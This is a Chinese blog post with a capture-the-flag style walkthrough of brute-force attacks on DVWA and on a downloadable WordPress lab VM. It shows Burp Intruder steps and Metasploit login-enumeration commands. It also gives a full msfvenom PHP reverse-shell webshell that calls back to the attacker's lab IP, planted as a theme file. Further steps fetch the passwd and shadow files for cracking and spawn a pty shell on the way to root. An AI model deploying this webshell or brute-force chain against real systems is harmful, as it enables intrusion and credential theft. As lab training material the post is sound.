WEB安全实战(带靶场)–暴力破解

WEB安全实战(带靶场)–暴力破解

靶场一:DVWA中的暴力破解

靶场二:靶场实验 暴力破解

暴力破解百度云链接(失效请在评论区通知)
链接:https://pan.baidu.com/s/1FcNFC27VFBfQy0ZMnB_TAg
提取码:1234

Brute Force(暴力破解)

Brute Force是指黑客利用密码字典,使用穷举法猜解出用户口令,是现在最为广泛使用的攻击手法之一,如2014年轰动全国的12306“撞库”事件,实质就是暴力破解攻击,Web安全中的暴力破解也是利用尝试所有的可能性最终获取正确的结果。

靶场一:DVWA中的暴力破解

DVWA暴力破解--low

源码解析
if( isset( $_GET[ 'Login' ] ) ) {
    
    
    # 获取用户名和密码
    $user = $_GET[ 'username' ];
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );
 
    # 查询验证用户名和密码
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
 
    if( $result && mysql_num_rows( $result ) == 1 ) {
    
    
      # 输出头像和用户名
      $avatar = mysql_result( $result, 0, "avatar" );
      echo "<p>Welcome to the password protected area {
      
      $user}</p>";
    }
    else {
    
    
        登录失败
    }
    mysql_close();
}

Isset

检测变量是否已声明并且其值不为 null
(https://www.php.net/manual/zh/function.isset.php)
若变量不存在则返回 FALSE 
若变量存在且其值为NULL,也返回 FALSE 
若变量存在且值不为NULL,则返回 TURE 
同时检查多个变量时,每个单项都符合上一条要求时才返回 TRUE,否则结果为 FALSE
如果已经使用 unset() 释放了一个变量之后,它将不再是 isset()。
若使用 isset() 测试一个被设置成 NULL 的变量,将返回 FALSE。同时要注意的是一个 NULL 字节("\0")并不等同于 PHP 的 NULL 常数。

$_GET 和 $_POST

PHP 超全局变量 $_GET 和 $_POST 用于收集表单数据
$_GET 是通过 URL 参数传递到当前脚本的变量数组。
$_POST 是通过 HTTP POST 传递到当前脚本的变量数组。

mysql_query() 函数

执行一条 MySQL 查询

mysql_error() 函数

返回上一个 MySQL 操作产生的文本错误信息。

mysql_num_rows() 函数

返回结果集中行的数目。

mysql_result()函数

返回结果集中一个字段的值,如果成功,则该函数返回字段值。如果失败,则返回 false

综上所述:未做登录验证码以及登录次数限制,这是初级代码,还存在sql注入。

漏洞利用

第一步:使用burpsuite抓包
在这里插入图片描述

第二步:ctrl+I将包复制到intruder模块,因为要对username(为了节省时间这里直接用admin)和password参数进行爆破,所以在password参数的内容两边加$
在这里插入图片描述

第三步:选中Payloads,载入字典,点击Start attack进行爆破
在这里插入图片描述获取到密码为password

实验一结束

靶场二:靶场实验 暴力破解

实验环境

攻击机:kali
IP:192.168.31.15
在这里插入图片描述
靶场机器:暴力破解.ova(Ubuntu)
IP:192.168.31.86
在这里插入图片描述

信息探测

扫描主机服务信息以及服务版本

nmap -T4 -A -v 靶场IP地址

在这里插入图片描述

探测敏感信息

nikto -host http://靶场IP地址:端口

在这里插入图片描述

扫描网页目录(这里后期补充换了一下ip,不影响观看)

dirb http://ip:端口

在这里插入图片描述在这里插入图片描述

漏洞挖掘

打开WEB首页

在这里插入图片描述

查看站点敏感目录:/secret/

在这里插入图片描述

打开后台登录页面

在这里插入图片描述

漏洞利用

Wordpress用户名枚举(需要联网)

wpscan --url URL ----enumerate u

在这里插入图片描述

发现用户名admin
在这里插入图片描述

利用Metasploit 进行密码暴力破解

msfconsole

在这里插入图片描述

利用wordpress用户枚举模块
在这里插入图片描述在这里插入图片描述

msf6 > use auxiliary/scanner/http/wordpress_login_enum

在这里插入图片描述

#设置登陆名为admin
msf6 auxiliary(scanner/http/wordpress_login_enum) > set username admin   
                                                                                
#设置目标ip                                                                                                                   
msf6 auxiliary(scanner/http/wordpress_login_enum) > set rhosts 192.168.31.86                                                                            

#设置目标目录为/secret/
msf6 auxiliary(scanner/http/wordpress_login_enum) > set targeturi /secret/

#设置字典文件路径                                                                                                                      
msf6 auxiliary(scanner/http/wordpress_login_enum) > set pass_file /usr/share/wordlists/dirb/common.txt      
                                                                                                                                                                                    
#开始攻击                                                                                                                                                                                                                           
msf6 auxiliary(scanner/http/wordpress_login_enum) > run

在这里插入图片描述

发现密码为admin
在这里插入图片描述

Tips:页面登陆 如果发现登陆页面跳转失败
在这里插入图片描述
修改host文件进行ip映射
在这里插入图片描述
顺利打开:用户名:admin 密码:admin
在这里插入图片描述
登陆成功
在这里插入图片描述

漏洞提权

生成webshell(php木马文件)

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.31.15 lport=4444 -f raw

在这里插入图片描述

源码附上

<?php /**/ error_reporting(0); $ip = '192.168.31.15'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) {
    
     $s = $f("tcp://{
      
      $ip}:{
      
      $port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) {
    
     $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) {
    
     $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) {
    
     die(); } $s_type = 'socket'; } if (!$s_type) {
    
     die('no socket funcs'); } if (!$s) {
    
     die('no socket'); } switch ($s_type) {
    
     case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) {
    
     die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) {
    
     switch ($s_type) {
    
     case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) {
    
     $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else {
    
     eval($b); } die();

在这里插入图片描述

运行404.php文件

http://192.168.31.86/secret/wp-content/themes/twentyseventeen/404.php

在这里插入图片描述

Msf反弹shell
在这里插入图片描述在这里插入图片描述

下载用户密码以及影子文件进行破解
在这里插入图片描述
在这里插入图片描述
获取到用户名以及密码:marlinspike (marlinspike)

shell提权(利用python模块pty)

python -c "import pty;pty.spawn('/bin/bash')"

在这里插入图片描述

切换为marlinspike用户
在这里插入图片描述

查看sudo权限
在这里插入图片描述
切换为root权限
在这里插入图片描述
在这里插入图片描述

获取到flag值 实验结束

猜你喜欢

转载自blog.csdn.net/renxq097/article/details/123185135